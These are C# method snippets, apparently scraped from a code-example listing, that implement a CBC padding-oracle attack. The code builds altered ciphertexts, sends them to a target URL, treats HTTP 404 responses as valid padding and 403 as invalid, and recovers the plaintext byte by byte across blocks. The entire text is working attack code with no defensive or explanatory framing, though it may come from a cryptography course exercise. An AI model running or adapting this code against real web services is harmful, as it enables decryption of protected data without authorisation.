Example #1
0
		private void UpdateResult(object sender, DownloadDataCompletedEventArgs e)
		{
			if ((e.Error != null && e.Error is WebException) || e.Result != null) {
				var exception = e.Error as WebException;
				HttpWebResponse response = null;
				if (exception != null)
				{
					response = exception.Response as HttpWebResponse;
				}
				Suggestion nextSymbolGuess;
				var correctGuess = e.UserState as Suggestion;
				if ((e.Error == null && e.Result != null) || response.StatusCode == HttpStatusCode.NotFound)
				{
					// correct guess
                    _result[15 - correctGuess.Position] = correctGuess.Code;

					// finish to decipher a block
					if (correctGuess.Position + 1 >= 16)
					{
						_message += CipherHelper.GetASCIIString(_result);
						OnFinishGuess();
						_result = new byte[16];
						nextSymbolGuess = new Suggestion(255, 0, correctGuess.Block + 1);
						if (nextSymbolGuess.Block >= 3)
						{
							// finish attack
							return;
						}
					}
					else
					{
						nextSymbolGuess = new Suggestion(255, (byte)(correctGuess.Position + 1), correctGuess.Block);
					}
				}
				else if (response.StatusCode == HttpStatusCode.Forbidden)
				{
					// incorrect guess
					if (correctGuess.Code == 0)
						throw new ArgumentException("All suggestions are incorrect");
					nextSymbolGuess = new Suggestion((byte)(correctGuess.Code - 1), correctGuess.Position, correctGuess.Block);
				}
				else
				{
					throw new ArgumentOutOfRangeException("Strange Response");
				}
				SendMessage(nextSymbolGuess);
			}
		}
Example #2
0
		private void SendMessage(Suggestion suggestion)
		{
			var guessUrl = _url + this.GetGuessCipherText(suggestion);
			_client.DownloadDataAsync(new Uri(guessUrl.ToLowerInvariant()), suggestion);
		}
Example #3
0
		private string GetGuessCipherText(Suggestion guess)
		{
			string result = String.Empty;
			var index = 0;
            while (index < guess.Block)
			{
				result += _cipherText[index++];
			}
			var cipherBytes = CipherHelper.ConvertFromHexString(_cipherText[guess.Block]).ToArray<byte>();
			var guessBytes = GetGeussBytes(guess);
			var attackerBytes = CipherHelper.Xor(cipherBytes, guessBytes).ToArray<byte>();

			result += CipherHelper.GetHexValue(attackerBytes);
			result += _cipherText[guess.Block + 1];
			return result;
		}
Example #4
0
		public void Start(){
			var firstGuess = new Suggestion(255, 0, 0);
			SendMessage(firstGuess);
		}
Example #5
0
		private byte[] GetGeussBytes(Suggestion guess) {
			var res = new byte[16];
			int index = 15;
			do
			{
				res[index--] = (byte)(guess.Position + 1);
			} while (15 <= guess.Position + index);
			res[15 - guess.Position] = CipherHelper.Xor(new byte[] {res[15 - guess.Position]},
				new byte[] {guess.Code})[0];
			index = 15;
			while(15 - index < guess.Position) {
				res[index] = CipherHelper.Xor(new byte[] { res[index] }, new byte[] { _result[index] })[0];
				index--;
			}
			return res;
		}